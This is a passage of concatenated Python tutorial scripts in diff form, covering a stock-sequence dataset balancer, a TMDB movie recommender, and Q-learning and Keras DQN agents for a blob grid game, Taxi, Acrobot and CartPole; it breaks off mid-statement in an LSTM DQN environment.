balance: + buys, sells = [], [] + for seq, target in seq_data: + if target == 0: + sells.append([seq, target]) + else: + buys.append([seq, target]) + + # balancing the dataset + + lower_length = min(len(buys), len(sells)) + + buys = buys[:lower_length] + sells = sells[:lower_length] + + seq_data = buys + sells + + if shuffle: + unshuffled_seq_data = seq_data.copy() + # shuffle data + random.shuffle(seq_data) + + X, y = [], [] + for seq, target in seq_data: + X.append(seq) + y.append(target) + + X = np.array(X) + y = np.array(y) + + if shuffle: + unshuffled_X, unshuffled_y = [], [] + for seq, target in unshuffled_seq_data: + unshuffled_X.append(seq) + unshuffled_y.append(target) + + unshuffled_X = np.array(unshuffled_X) + unshuffled_y = np.array(unshuffled_y) + + unshuffled_X = unshuffled_X.reshape((unshuffled_X.shape[0], unshuffled_X.shape[2], unshuffled_X.shape[1])) + + X = X.reshape((X.shape[0], X.shape[2], X.shape[1])) + + if not split: + # return original_df, X, y, column_scaler, last_sequence + result['X'] = X + result['y'] = y + return result + else: + # split dataset into training and testing + n_samples = X.shape[0] + train_samples = int(n_samples * (1 - test_size)) + result['X_train'] = X[:train_samples] + result['X_test'] = X[train_samples:] + result['y_train'] = y[:train_samples] + result['y_test'] = y[train_samples:] + if shuffle: + result['unshuffled_X_test'] = unshuffled_X[train_samples:] + result['unshuffled_y_test'] = unshuffled_y[train_samples:] + return result + +# from sentdex +def classify(current, future): + if float(future) > float(current): # if the future price is higher than the current, that's a buy, or a 1 + return 1 + else: # otherwise... it's a 0! + return 0 + + +def shift(arr, num, fill_value=np.nan): + result = np.empty_like(arr) + if num > 0: + result[:num] = fill_value + result[num:] = arr[:-num] + elif num < 0: + result[num:] = fill_value + result[:num] = arr[-num:] + else: + result = arr + return result + + + + +import pandas as pd +import numpy as np +import matplotlib.pyplot as plt +import seaborn as sns +from sklearn.feature_extraction.text import TfidfVectorizer + +movies_path = r"E:\datasets\recommender_systems\tmdb_5000_movies.csv" +credits_path = r"E:\datasets\recommender_systems\tmdb_5000_credits.csv" + +credits = pd.read_csv(credits_path) +movies = pd.read_csv(movies_path) + +# rename movie_id to id to merge dataframes later +credits = credits.rename(index=str, columns={'movie_id': 'id'}) + +# join on movie id column +movies = movies.merge(credits, on="id") + +# drop useless columns +movies = movies.drop(columns=['homepage', 'title_x', 'title_y', 'status', 'production_countries']) + +# number of votes of the movie +V = movies['vote_count'] +# rating average of the movie from 0 to 10 +R = movies['vote_average'] +# the mean vote across the whole report +C = movies['vote_average'].mean() +# minimum votes required to be listed in the top 250 +m = movies['vote_count'].quantile(0.7) + +movies['weighted_average'] = (V/(V+m) * R) + (m/(m+V) * C) + +# ranked movies + +wavg = movies.sort_values('weighted_average', ascending=False) + +plt.figure(figsize=(16,6)) + +ax = sns.barplot(x=wavg['weighted_average'].head(10), y=wavg['original_title'].head(10), data=wavg, palette='deep') + +plt.xlim(6.75, 8.35) +plt.title('"Best" Movies by TMDB Votes', weight='bold') +plt.xlabel('Weighted Average Score', weight='bold') +plt.ylabel('Movie Title', weight='bold') + +plt.savefig('best_movies.png') + +popular = movies.sort_values('popularity', ascending=False) + +plt.figure(figsize=(16,6)) + +ax = sns.barplot(x=popular['popularity'].head(10), y=popular['original_title'].head(10), data=popular, palette='deep') + +plt.title('"Most Popular" Movies by TMDB Votes', weight='bold') +plt.xlabel('Popularity Score', weight='bold') +plt.ylabel('Movie Title', weight='bold') + +plt.savefig('popular_movies.png') + +############ Content-Based ############ +# filling NaNs with empty string +movies['overview'] = movies['overview'].fillna('') + +tfv = TfidfVectorizer(min_df=3, max_features=None, + strip_accents='unicode', analyzer='word',token_pattern=r'\w{1,}', + ngram_range=(1, 3), use_idf=1,smooth_idf=1,sublinear_tf=1, + stop_words = 'english') + +tfv_matrix = tfv.fit_transform(movies['overview']) +print(tfv_matrix.shape) +print(tfv_matrix) + + + + +import numpy as np +from PIL import Image +import cv2 # showing the env +import matplotlib.pyplot as plt +import pickle +from matplotlib import style +import time +import os +from collections.abc import Iterable + +style.use("ggplot") + +GRID_SIZE = 10 + +# how many episodes +EPISODES = 1_000 +# how many steps in the env +STEPS = 200 + +# Rewards for differents events +MOVE_REWARD = -1 +ENEMY_REWARD = -300 +FOOD_REWARD = 30 + +epsilon = 0 # for randomness, it'll decay over time by EPSILON_DECAY +EPSILON_DECAY = 0.999993 # every episode, epsilon *= EPSILON_DECAY + +SHOW_EVERY = 1 + +q_table = f"qtable-grid-{GRID_SIZE}-steps-{STEPS}.npy" # put here pretrained model ( if exists ) + +LEARNING_RATE = 0.1 +DISCOUNT = 0.95 + +PLAYER_CODE = 1 +FOOD_CODE = 2 +ENEMY_CODE = 3 + +# blob dict, for colors +COLORS = { + PLAYER_CODE: (255, 120, 0), # blueish color + FOOD_CODE: (0, 255, 0), # green + ENEMY_CODE: (0, 0, 255), # red +} + + +ACTIONS = { + 0: (0, 1), + 1: (-1, 0), + 2: (0, -1), + 3: (1, 0) +} + +N_ENEMIES = 2 + +def get_observation(cords): + obs = [] + for item1 in cords: + for item2 in item1: + obs.append(item2+GRID_SIZE-1) + return tuple(obs) + + +class Blob: + def __init__(self, name=None): + self.x = np.random.randint(0, GRID_SIZE) + self.y = np.random.randint(0, GRID_SIZE) + self.name = name if name else "Blob" + + def __sub__(self, other): + return (self.x - other.x, self.y - other.y) + + def __str__(self): + return f"<{self.name.capitalize()} x={self.x}, y={self.y}>" + + def move(self, x=None, y=None): + # if x is None, move randomly + if x is None: + self.x += np.random.randint(-1, 2) + else: + self.x += x + + # if y is None, move randomly + if y is None: + self.y += np.random.randint(-1, 2) + else: + self.y += y + + # out of bound fix + if self.x < 0: + # self.x = GRID_SIZE-1 + self.x = 0 + elif self.x > GRID_SIZE-1: + # self.x = 0 + self.x = GRID_SIZE-1 + + if self.y < 0: + # self.y = GRID_SIZE-1 + self.y = 0 + elif self.y > GRID_SIZE-1: + # self.y = 0 + self.y = GRID_SIZE-1 + + def take_action(self, choice): + # if choice == 0: + # self.move(x=1, y=1) + # elif choice == 1: + # self.move(x=-1, y=-1) + # elif choice == 2: + # self.move(x=-1, y=1) + # elif choice == 3: + # self.move(x=1, y=-1) + for code, (move_x, move_y) in ACTIONS.items(): + if choice == code: + self.move(x=move_x, y=move_y) + # if choice == 0: + # self.move(x=1, y=0) + # elif choice == 1: + # self.move(x=0, y=1) + # elif choice == 2: + # self.move(x=-1, y=0) + # elif choice == 3: + # self.move(x=0, y=-1) + +# construct the q_table if not already trained +if q_table is None or not os.path.isfile(q_table): + # q_table = {} + # # for every possible combination of the distance of the player + # # to both the food and the enemy + # for i in range(-GRID_SIZE+1, GRID_SIZE): + # for ii in range(-GRID_SIZE+1, GRID_SIZE): + # for iii in range(-GRID_SIZE+1, GRID_SIZE): + # for iiii in range(-GRID_SIZE+1, GRID_SIZE): + # q_table[(i, ii), (iii, iiii)] = np.random.uniform(-5, 0, size=len(ACTIONS)) + q_table = np.random.uniform(-5, 0, size=[GRID_SIZE*2-1]*(2+2*N_ENEMIES) + [len(ACTIONS)]) +else: + # the q table already exists + print("Loading Q-table") + q_table = np.load(q_table) + + +# this list for tracking rewards +episode_rewards = [] + +# game loop +for episode in range(EPISODES): + # initialize our blobs ( squares ) + player = Blob("Player") + food = Blob("Food") + enemy1 = Blob("Enemy1") + enemy2 = Blob("Enemy2") + + if episode % SHOW_EVERY == 0: + print(f"[{episode:05}] ep: {epsilon:.4f} reward mean: {np.mean(episode_rewards[-SHOW_EVERY:])} alpha={LEARNING_RATE}") + show = True + else: + show = False + + episode_reward = 0 + for i in range(STEPS): + # get the observation + obs = get_observation((player - food, player - enemy1, player - enemy2)) + # Epsilon-greedy policy + if np.random.random() > epsilon: + # get the action from the q table + action = np.argmax(q_table[obs]) + else: + # random action + action = np.random.randint(0, len(ACTIONS)) + # take the action + player.take_action(action) + + #### MAYBE ### + #enemy.move() + #food.move() + ############## + food.move() + enemy1.move() + enemy2.move() + + ### for rewarding + if player.x == enemy1.x and player.y == enemy1.y: + # if it hit the enemy, punish + reward = ENEMY_REWARD + elif player.x == enemy2.x and player.y == enemy2.y: + # if it hit the enemy, punish + reward = ENEMY_REWARD + elif player.x == food.x and player.y == food.y: + # if it hit the food, reward + reward = FOOD_REWARD + else: + # else, punish it a little for moving + reward = MOVE_REWARD + + ### calculate the Q + # get the future observation after taking action + future_obs = get_observation((player - food, player - enemy1, player - enemy2)) + # get the max future Q value (SarsaMax algorithm) + # SARSA = State0, Action0, Reward0, State1, Action1 + max_future_q = np.max(q_table[future_obs]) + # get the current Q + current_q = q_table[obs][action] + # calculate the new Q + if reward == FOOD_REWARD: + new_q = FOOD_REWARD + else: + # value iteration update + # https://en.wikipedia.org/wiki/Q-learning + # Calculate the Temporal-Difference target + td_target = reward + DISCOUNT * max_future_q + # Temporal-Difference + new_q = (1 - LEARNING_RATE) * current_q + LEARNING_RATE * td_target + + # update the q + q_table[obs][action] = new_q + + + if show: + env = np.zeros((GRID_SIZE, GRID_SIZE, 3), dtype=np.uint8) + # set food blob to green + env[food.x][food.y] = COLORS[FOOD_CODE] + # set the enemy blob to red + env[enemy1.x][enemy1.y] = COLORS[ENEMY_CODE] + env[enemy2.x][enemy2.y] = COLORS[ENEMY_CODE] + # set the player blob to blueish + env[player.x][player.y] = COLORS[PLAYER_CODE] + # get the image + image = Image.fromarray(env, 'RGB') + image = image.resize((600, 600)) + # show the image + cv2.imshow("image", np.array(image)) + if reward == FOOD_REWARD or reward == ENEMY_REWARD: + if cv2.waitKey(500) == ord('q'): + break + else: + if cv2.waitKey(100) == ord('q'): + break + + episode_reward += reward + if reward == FOOD_REWARD or reward == ENEMY_REWARD: + break + + episode_rewards.append(episode_reward) + # decay a little randomness in each episode + epsilon *= EPSILON_DECAY + + + +# with open(f"qtable-{int(time.time())}.pickle", "wb") as f: +# pickle.dump(q_table, f) +np.save(f"qtable-grid-{GRID_SIZE}-steps-{STEPS}", q_table) + +moving_avg = np.convolve(episode_rewards, np.ones((SHOW_EVERY,))/SHOW_EVERY, mode='valid') +plt.plot([i for i in range(len(moving_avg))], moving_avg) +plt.ylabel(f"Avg Reward every {SHOW_EVERY}") +plt.xlabel("Episode") +plt.show() + + + + +import numpy as np +import gym +import random +import matplotlib.pyplot as plt +import os +import time + +env = gym.make("Taxi-v2").env + +# init the Q-Table +# (500x6) matrix (n_states x n_actions) +q_table = np.zeros((env.observation_space.n, env.action_space.n)) + +# Hyper Parameters +# alpha +LEARNING_RATE = 0.1 +# gamma +DISCOUNT_RATE = 0.9 +EPSILON = 0.9 +EPSILON_DECAY = 0.99993 + +EPISODES = 100_000 +SHOW_EVERY = 1_000 + +# for plotting metrics +all_epochs = [] +all_penalties = [] +all_rewards = [] + +for i in range(EPISODES): + + # reset the env + state = env.reset() + + epochs, penalties, rewards = 0, 0, [] + done = False + + while not done: + if random.random() < EPSILON: + # exploration + action = env.action_space.sample() + else: + # exploitation + action = np.argmax(q_table[state]) + + next_state, reward, done, info = env.step(action) + + old_q = q_table[state, action] + future_q = np.max(q_table[next_state]) + + # calculate the new Q ( Q-Learning equation, i.e SARSAMAX ) + new_q = (1 - LEARNING_RATE) * old_q + LEARNING_RATE * ( reward + DISCOUNT_RATE * future_q) + # update the new Q + q_table[state, action] = new_q + + if reward == -10: + penalties += 1 + + state = next_state + epochs += 1 + rewards.append(reward) + + + + if i % SHOW_EVERY == 0: + print(f"[{i}] avg reward:{np.average(all_rewards):.4f} eps:{EPSILON:.4f}") + # env.render() + + all_epochs.append(epochs) + all_penalties.append(penalties) + all_rewards.append(np.average(rewards)) + + EPSILON *= EPSILON_DECAY + +# env.render() +# plt.plot(list(range(len(all_rewards))), all_rewards) +# plt.show() + +print("Playing in 5 seconds...") +time.sleep(5) +os.system("cls") if "nt" in os.name else os.system("clear") +# render + +state = env.reset() +done = False +while not done: + action = np.argmax(q_table[state]) + state, reward, done, info = env.step(action) + env.render() + time.sleep(0.2) + os.system("cls") if "nt" in os.name else os.system("clear") + +env.render() + + + + +import cv2 +from PIL import Image + +import os +# to use CPU uncomment below code +# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +# os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +# import tensorflow as tf + +# config = tf.ConfigProto(intra_op_parallelism_threads=5, +# inter_op_parallelism_threads=5, +# allow_soft_placement=True, +# device_count = {'CPU' : 1, +# 'GPU' : 0} +# ) +import random +import gym +import numpy as np +import matplotlib.pyplot as plt +from collections import deque +from keras.models import Sequential +from keras.layers import Dense, Conv2D, MaxPooling2D, Dropout, Activation, Flatten +from keras.optimizers import Adam + + +EPISODES = 5_000 +REPLAY_MEMORY_MAX = 20_000 +MIN_REPLAY_MEMORY = 1_000 + +SHOW_EVERY = 50 +RENDER_EVERY = 100 +LEARN_EVERY = 50 + +GRID_SIZE = 20 +ACTION_SIZE = 9 + + +class Blob: + def __init__(self, size): + self.size = size + self.x = np.random.randint(0, size) + self.y = np.random.randint(0, size) + + def __str__(self): + return f"Blob ({self.x}, {self.y})" + + def __sub__(self, other): + return (self.x-other.x, self.y-other.y) + + def __eq__(self, other): + return self.x == other.x and self.y == other.y + + def action(self, choice): + ''' + Gives us 9 total movement options. (0,1,2,3,4,5,6,7,8) + ''' + if choice == 0: + self.move(x=1, y=1) + elif choice == 1: + self.move(x=-1, y=-1) + elif choice == 2: + self.move(x=-1, y=1) + elif choice == 3: + self.move(x=1, y=-1) + + elif choice == 4: + self.move(x=1, y=0) + elif choice == 5: + self.move(x=-1, y=0) + + elif choice == 6: + self.move(x=0, y=1) + elif choice == 7: + self.move(x=0, y=-1) + + elif choice == 8: + self.move(x=0, y=0) + + def move(self, x=False, y=False): + + # If no value for x, move randomly + if not x: + self.x += np.random.randint(-1, 2) + else: + self.x += x + + # If no value for y, move randomly + if not y: + self.y += np.random.randint(-1, 2) + else: + self.y += y + + # If we are out of bounds, fix! + if self.x < 0: + self.x = 0 + elif self.x > self.size-1: + self.x = self.size-1 + if self.y < 0: + self.y = 0 + elif self.y > self.size-1: + self.y = self.size-1 + + +class BlobEnv: + RETURN_IMAGES = True + MOVE_PENALTY = 1 + ENEMY_PENALTY = 300 + FOOD_REWARD = 25 + + ACTION_SPACE_SIZE = 9 + PLAYER_N = 1 # player key in dict + FOOD_N = 2 # food key in dict + ENEMY_N = 3 # enemy key in dict + # the dict! (colors) + d = {1: (255, 175, 0), + 2: (0, 255, 0), + 3: (0, 0, 255)} + + def __init__(self, size): + self.SIZE = size + self.OBSERVATION_SPACE_VALUES = (self.SIZE, self.SIZE, 3) # 4 + + def reset(self): + self.player = Blob(self.SIZE) + self.food = Blob(self.SIZE) + while self.food == self.player: + self.food = Blob(self.SIZE) + self.enemy = Blob(self.SIZE) + while self.enemy == self.player or self.enemy == self.food: + self.enemy = Blob(self.SIZE) + + self.episode_step = 0 + + if self.RETURN_IMAGES: + observation = np.array(self.get_image()) + else: + observation = (self.player-self.food) + (self.player-self.enemy) + return observation + + def step(self, action): + self.episode_step += 1 + self.player.action(action) + + #### MAYBE ### + #enemy.move() + #food.move() + ############## + + if self.RETURN_IMAGES: + new_observation = np.array(self.get_image()) + else: + new_observation = (self.player-self.food) + (self.player-self.enemy) + + if self.player == self.enemy: + reward = -self.ENEMY_PENALTY + done = True + elif self.player == self.food: + reward = self.FOOD_REWARD + done = True + else: + reward = -self.MOVE_PENALTY + if self.episode_step < 200: + done = False + else: + done = True + + return new_observation, reward, done + + def render(self): + img = self.get_image() + img = img.resize((300, 300)) # resizing so we can see our agent in all its glory. + cv2.imshow("image", np.array(img)) # show it! + cv2.waitKey(1) + + # FOR CNN # + def get_image(self): + env = np.zeros((self.SIZE, self.SIZE, 3), dtype=np.uint8) # starts an rbg of our size + env[self.food.x][self.food.y] = self.d[self.FOOD_N] # sets the food location tile to green color + env[self.enemy.x][self.enemy.y] = self.d[self.ENEMY_N] # sets the enemy location to red + env[self.player.x][self.player.y] = self.d[self.PLAYER_N] # sets the player tile to blue + img = Image.fromarray(env, 'RGB') # reading to rgb. Apparently. Even tho color definitions are bgr. ??? + return img + + +class DQNAgent: + def __init__(self, state_size, action_size): + self.state_size = state_size + self.action_size = action_size + self.memory = deque(maxlen=REPLAY_MEMORY_MAX) + # discount rate + self.gamma = 0.95 + # exploration rate + self.epsilon = 1.0 + self.epsilon_min = 0.01 + self.epsilon_decay = 0.9997 + self.learning_rate = 0.001 + # models to be built + # Dual + self.model = self.build_model() + self.target_model = self.build_model() + self.update_target_model() + + def build_model(self): + """Builds the DQN Model""" + # Neural network for Deep-Q Learning Model + model = Sequential() + model.add(Conv2D(256, (3, 3), input_shape=self.state_size)) + model.add(Activation("relu")) + model.add(MaxPooling2D(pool_size=(2, 2))) + model.add(Dropout(0.2)) + + model.add(Conv2D(256, (3, 3))) + model.add(Activation("relu")) + model.add(MaxPooling2D(pool_size=(2, 2))) + model.add(Dropout(0.2)) + + model.add(Flatten()) # this converts our 3D feature maps to 1D feature vectors + model.add(Dense(32)) + # output layer + model.add(Dense(self.action_size, activation="linear")) + model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate)) + return model + + def update_target_model(self): + """Copy weights from self.model to self.target_model""" + self.target_model.set_weights(self.model.get_weights()) + + def remember(self, state, action, reward, next_state, done): + """Adds a sample to the memory""" + # for images, expand dimension, comment if you are not using images as states + state = state / 255 + next_state = next_state / 255 + state = np.expand_dims(state, axis=0) + next_state = np.expand_dims(next_state, axis=0) + self.memory.append((state, action, reward, next_state, done)) + + def act(self, state): + """Takes action using Epsilon-Greedy Policy""" + if np.random.random() <= self.epsilon: + return random.randint(0, self.action_size-1) + else: + state = state / 255 + state = np.expand_dims(state, axis=0) + act_values = self.model.predict(state) + # print("act_values:", act_values.shape) + return np.argmax(act_values[0]) + + def replay(self, batch_size): + """Train on a replay memory with a batch_size of samples""" + if len(self.memory) < MIN_REPLAY_MEMORY: + return + minibatch = random.sample(self.memory, batch_size) + for state, action, reward, next_state, done in minibatch: + target = reward + if not done: + target = ( reward + self.gamma * np.max(self.target_model.predict(next_state)[0]) ) + target_f = self.model.predict(state) + target_f[0][action] = target + self.model.fit(state, target_f, epochs=1, verbose=0, batch_size=1) + # decay epsilon if possible + self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min) + + def load(self, name): + self.model.load_weights(name) + self.target_model.load_weights(name) + + def save(self, name): + self.model.save_weights(name) + self.target_model.save_weights(name) + + +if __name__ == "__main__": + batch_size = 64 + env = BlobEnv(GRID_SIZE) + agent = DQNAgent(env.OBSERVATION_SPACE_VALUES, ACTION_SIZE) + ep_rewards = deque([-200], maxlen=SHOW_EVERY) + avg_rewards = [] + min_rewards = [] + max_rewards = [] + for episode in range(1, EPISODES+1): + # restarting episode => reset episode reward and step number + episode_reward = 0 + step = 1 + + # reset env and get init state + current_state = env.reset() + + done = False + while True: + # take action + action = agent.act(current_state) + next_state, reward, done = env.step(action) + + episode_reward += reward + + if episode % RENDER_EVERY == 0: + env.render() + + # add transition to agent's memory + agent.remember(current_state, action, reward, next_state, done) + if step % LEARN_EVERY == 0: + agent.replay(batch_size=batch_size) + current_state = next_state + step += 1 + + if done: + agent.update_target_model() + break + + ep_rewards.append(episode_reward) + avg_reward = np.mean(ep_rewards) + min_reward = min(ep_rewards) + max_reward = max(ep_rewards) + + avg_rewards.append(avg_reward) + min_rewards.append(min_reward) + max_rewards.append(max_reward) + print(f"[{episode}] avg:{avg_reward:.2f} min:{min_reward} max:{max_reward} eps:{agent.epsilon:.4f}") + # if episode % SHOW_EVERY == 0: + # print(f"[{episode}] avg: {avg_reward} min: {min_reward} max: {max_reward} eps: {agent.epsilon:.4f}") + + episodes = list(range(EPISODES)) + plt.plot(episodes, avg_rewards, c='b') + plt.plot(episodes, min_rewards, c='r') + plt.plot(episodes, max_rewards, c='g') + plt.show() + agent.save("blob_v1.h5") + + + + +import os +# to use CPU uncomment below code +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=5, + inter_op_parallelism_threads=5, + allow_soft_placement=True, + device_count = {'CPU' : 1, + 'GPU' : 0} + ) +import random +import gym +import numpy as np +import matplotlib.pyplot as plt +from collections import deque +from keras.models import Sequential +from keras.layers import Dense +from keras.optimizers import Adam + + +EPISODES = 5_000 +REPLAY_MEMORY_MAX = 2_000 + +SHOW_EVERY = 500 +RENDER_EVERY = 1_000 + +class DQNAgent: + def __init__(self, state_size, action_size): + self.state_size = state_size + self.action_size = action_size + self.memory = deque(maxlen=REPLAY_MEMORY_MAX) + # discount rate + self.gamma = 0.95 + # exploration rate + self.epsilon = 1.0 + self.epsilon_min = 0.01 + self.epsilon_decay = 0.9997 + self.learning_rate = 0.001 + # models to be built + # Dual + self.model = self.build_model() + self.target_model = self.build_model() + self.update_target_model() + + def build_model(self): + """Builds the DQN Model""" + # Neural network for Deep-Q Learning Model + model = Sequential() + model.add(Dense(32, input_dim=self.state_size, activation="relu")) + model.add(Dense(32, activation="relu")) + # output layer + model.add(Dense(self.action_size, activation="linear")) + model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate)) + return model + + def update_target_model(self): + """Copy weights from self.model to self.target_model""" + self.target_model.set_weights(self.model.get_weights()) + + def remember(self, state, action, reward, next_state, done): + """Adds a sample to the memory""" + self.memory.append((state, action, reward, next_state, done)) + + def act(self, state): + """Takes action using Epsilon-Greedy Policy""" + if np.random.random() <= self.epsilon: + return random.randint(0, self.action_size-1) + else: + act_values = self.model.predict(state) + # print("act_values:", act_values.shape) + return np.argmax(act_values[0]) + + def replay(self, batch_size): + """Train on a replay memory with a batch_size of samples""" + minibatch = random.sample(self.memory, batch_size) + for state, action, reward, next_state, done in minibatch: + target = reward + if not done: + target = ( reward + self.gamma * np.max(self.target_model.predict(next_state)[0]) ) + target_f = self.model.predict(state) + target_f[0][action] = target + self.model.fit(state, target_f, epochs=1, verbose=0) + # decay epsilon if possible + self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min) + + def load(self, name): + self.model.load_weights(name) + self.target_model.load_weights(name) + + def save(self, name): + self.model.save_weights(name) + self.target_model.save_weights(name) + + +if __name__ == "__main__": + env = gym.make("Acrobot-v1") + state_size = env.observation_space.shape[0] + action_size = env.action_space.n + agent = DQNAgent(state_size=state_size, action_size=action_size) + # agent.load("AcroBot_v1.h5") + done = False + batch_size = 32 + + all_rewards = deque(maxlen=SHOW_EVERY) + avg_rewards = [] + + for e in range(EPISODES): + state = env.reset() + state = np.reshape(state, (1, state_size)) + rewards = 0 + while True: + action = agent.act(state) + # print(action) + next_state, reward, done, info = env.step(action) + # punish if not yet finished + # reward = reward if not done else 10 + next_state = np.reshape(next_state, (1, state_size)) + agent.remember(state, action, reward, next_state, done) + state = next_state + if done: + agent.update_target_model() + break + if e % RENDER_EVERY == 0: + env.render() + rewards += reward + # print(rewards) + all_rewards.append(rewards) + avg_reward = np.mean(all_rewards) + avg_rewards.append(avg_reward) + if e % SHOW_EVERY == 0: + print(f"[{e:4}] avg reward:{avg_reward:.3f} eps: {agent.epsilon:.2f}") + if len(agent.memory) > batch_size: + agent.replay(batch_size) + + agent.save("AcroBot_v1.h5") + plt.plot(list(range(EPISODES)), avg_rewards) + plt.show() + + + + +import os +# to use CPU uncomment below code +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=5, + inter_op_parallelism_threads=5, + allow_soft_placement=True, + device_count = {'CPU' : 1, + 'GPU' : 0} + ) +import random +import gym +import numpy as np +import matplotlib.pyplot as plt +from collections import deque +from keras.models import Sequential +from keras.layers import Dense +from keras.optimizers import Adam + + +EPISODES = 1000 +REPLAY_MEMORY_MAX = 5000 + +SHOW_EVERY = 100 + +class DQNAgent: + def __init__(self, state_size, action_size): + self.state_size = state_size + self.action_size = action_size + self.memory = deque(maxlen=REPLAY_MEMORY_MAX) + # discount rate + self.gamma = 0.95 + # exploration rate + self.epsilon = 1.0 + self.epsilon_min = 0.01 + self.epsilon_decay = 0.995 + self.learning_rate = 0.001 + # model to be built + self.model = None + self.build_model() + + def build_model(self): + """Builds the DQN Model""" + # Neural network for Deep-Q Learning Model + model = Sequential() + model.add(Dense(24, input_dim=self.state_size, activation="relu")) + model.add(Dense(24, activation="relu")) + # output layer + model.add(Dense(self.action_size, activation="linear")) + model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate)) + self.model = model + + def remember(self, state, action, reward, next_state, done): + """Adds a sample to the memory""" + self.memory.append((state, action, reward, next_state, done)) + + def act(self, state): + """Takes action using Epsilon-Greedy Policy""" + if np.random.random() <= self.epsilon: + return random.randint(0, self.action_size-1) + else: + act_values = self.model.predict(state) + # print("act_values:", act_values.shape) + return np.argmax(act_values[0]) + + def replay(self, batch_size): + """Train on a replay memory with a batch_size of samples""" + minibatch = random.sample(self.memory, batch_size) + for state, action, reward, next_state, done in minibatch: + target = reward + if not done: + target = ( reward + self.gamma * np.max(self.model.predict(next_state)[0]) ) + target_f = self.model.predict(state) + target_f[0][action] = target + self.model.fit(state, target_f, epochs=1, verbose=0) + # decay epsilon if possible + self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min) + + def load(self, name): + self.model.load_weights(name) + + def save(self, name): + self.model.save_weights(name) + + +if __name__ == "__main__": + env = gym.make("CartPole-v1") + state_size = env.observation_space.shape[0] + action_size = env.action_space.n + agent = DQNAgent(state_size=state_size, action_size=action_size) + + done = False + batch_size = 32 + + scores = [] + avg_scores = [] + avg_score = 0 + for e in range(EPISODES): + state = env.reset() + state = np.reshape(state, (1, state_size)) + + for t in range(500): + action = agent.act(state) + # print(action) + next_state, reward, done, info = env.step(action) + # punish if not yet finished + reward = reward if not done else -10 + next_state = np.reshape(next_state, (1, state_size)) + agent.remember(state, action, reward, next_state, done) + state = next_state + if done: + print(f"[{e:4}] avg score:{avg_score:.3f} eps: {agent.epsilon:.2f}") + break + if e % SHOW_EVERY == 0: + env.render() + if len(agent.memory) > batch_size: + agent.replay(batch_size) + scores.append(t) + + avg_score = np.average(scores) + avg_scores.append(avg_score) + + agent.save("v1.h5") + plt.plot(list(range(EPISODES)), avg_scores) + plt.show() + + + + +import numpy as np +import keras.backend.tensorflow_backend as backend +from keras.models import Sequential +from keras.layers import Dense, Dropout, Conv2D, MaxPooling2D, Activation, Flatten, LSTM +from keras.optimizers import Adam +from keras.callbacks import TensorBoard +import tensorflow as tf +from collections import deque +import time +import random +from tqdm import tqdm +import os +from PIL import Image +import cv2 +import itertools + + +DISCOUNT = 0.96 +REPLAY_MEMORY_SIZE = 50_000 # How many last steps to keep for model training +MIN_REPLAY_MEMORY_SIZE = 1_000 # Minimum number of steps in a memory to start training +MINIBATCH_SIZE = 32 # How many steps (samples) to use for training +UPDATE_TARGET_EVERY = 5 # Terminal states (end of episodes) +MODEL_NAME = '3x128-LSTM-7enemies-' +MIN_REWARD = -200 # For model save +MEMORY_FRACTION = 0.20 + +# Environment settings +EPISODES = 50_000 + +# Exploration settings +epsilon = 1.0 # not a constant, going to be decayed +EPSILON_DECAY = 0.999771 +MIN_EPSILON = 0.01 + +# Stats settings +AGGREGATE_STATS_EVERY = 100 # episodes +SHOW_PREVIEW = False + + +class Blob: + def __init__(self, size): + self.size = size + self.x = np.random.randint(0, size) + self.y = np.random.randint(0, size) + + def __str__(self): + return f"Blob ({self.x}, {self.y})" + + def __sub__(self, other): + return (self.x-other.x, self.y-other.y) + + def __eq__(self, other): + return self.x == other.x and self.y == other.y + + def action(self, choice): + ''' + Gives us 9 total movement options. (0,1,2,3,4,5,6,7,8) + ''' + if choice == 0: + self.move(x=1, y=0) + elif choice == 1: + self.move(x=-1, y=0) + elif choice == 2: + self.move(x=0, y=1) + elif choice == 3: + self.move(x=0, y=-1) + + + def move(self, x=False, y=False): + + # If no value for x, move randomly + if x is False: + self.x += np.random.randint(-1, 2) + else: + self.x += x + + # If no value for y, move randomly + if y is False: + self.y += np.random.randint(-1, 2) + else: + self.y += y + + # If we are out of bounds, fix! + if self.x < 0: + self.x = 0 + elif self.x > self.size-1: + self.x = self.size-1 + if self.y < 0: + self.y = 0 + elif self.y > self.size-1: + self.y = self.size-1 + + +class BlobEnv: + SIZE = 20 + RETURN_IMAGES = False + MOVE_PENALTY = 1 + ENEMY_PENALTY = 300 + FOOD_REWARD = 25 + # if RETURN_IMAGES: + # OBSERVATION_SPACE_VALUES = (SIZE, SIZE, 3) # 4 + # else: + # OBSERVATION_SPACE_VALUES = (4,) + ACTION_SPACE_SIZE = 4 + PLAYER_N = 1 # player key in dict + FOOD_N = 2 # food key in dict + ENEMY_N = 3 # enemy key in dict + # the dict! (colors) + d = {1: (255, 175, 0), + 2: (0, 255, 0), + 3: (0, 0, 255)} + + def __init__(self, n_enemies=7): + self.n_enemies = n_enemies + self.n_states = len(self.reset()) + + def reset(self): + self.enemies = [] + self.player = Blob(self.SIZE) + self.food = Blob(self.SIZE) + while self.food == self.player: + self.food = Blob(self.SIZE) + for i in range(self.n_enemies): + enemy = Blob(self.SIZE) + while enemy == self.player or enemy == self.food: + enemy = Blob(self.SIZE) + self.enemies.append(enemy) + + self.episode_step = 0 + + if self.RETURN_IMAGES: + observation = np.array(self.get_image()) + else: + # all blob's coordinates + observation = [self.player.x, self.player.y, self.food.x, self.food.y] + list(itertools.chain(*[[e.x, e.y] for e in self.enemies])) + return observation + + def step(self, action): + self.episode_step += 1 + self.player.action(action) + + #### MAYBE ### + #enemy.move() + #food.move() + ############## + + if self.RETURN_IMAGES: + new_observation = np.array(self.get_image()) + else: + new_observation = 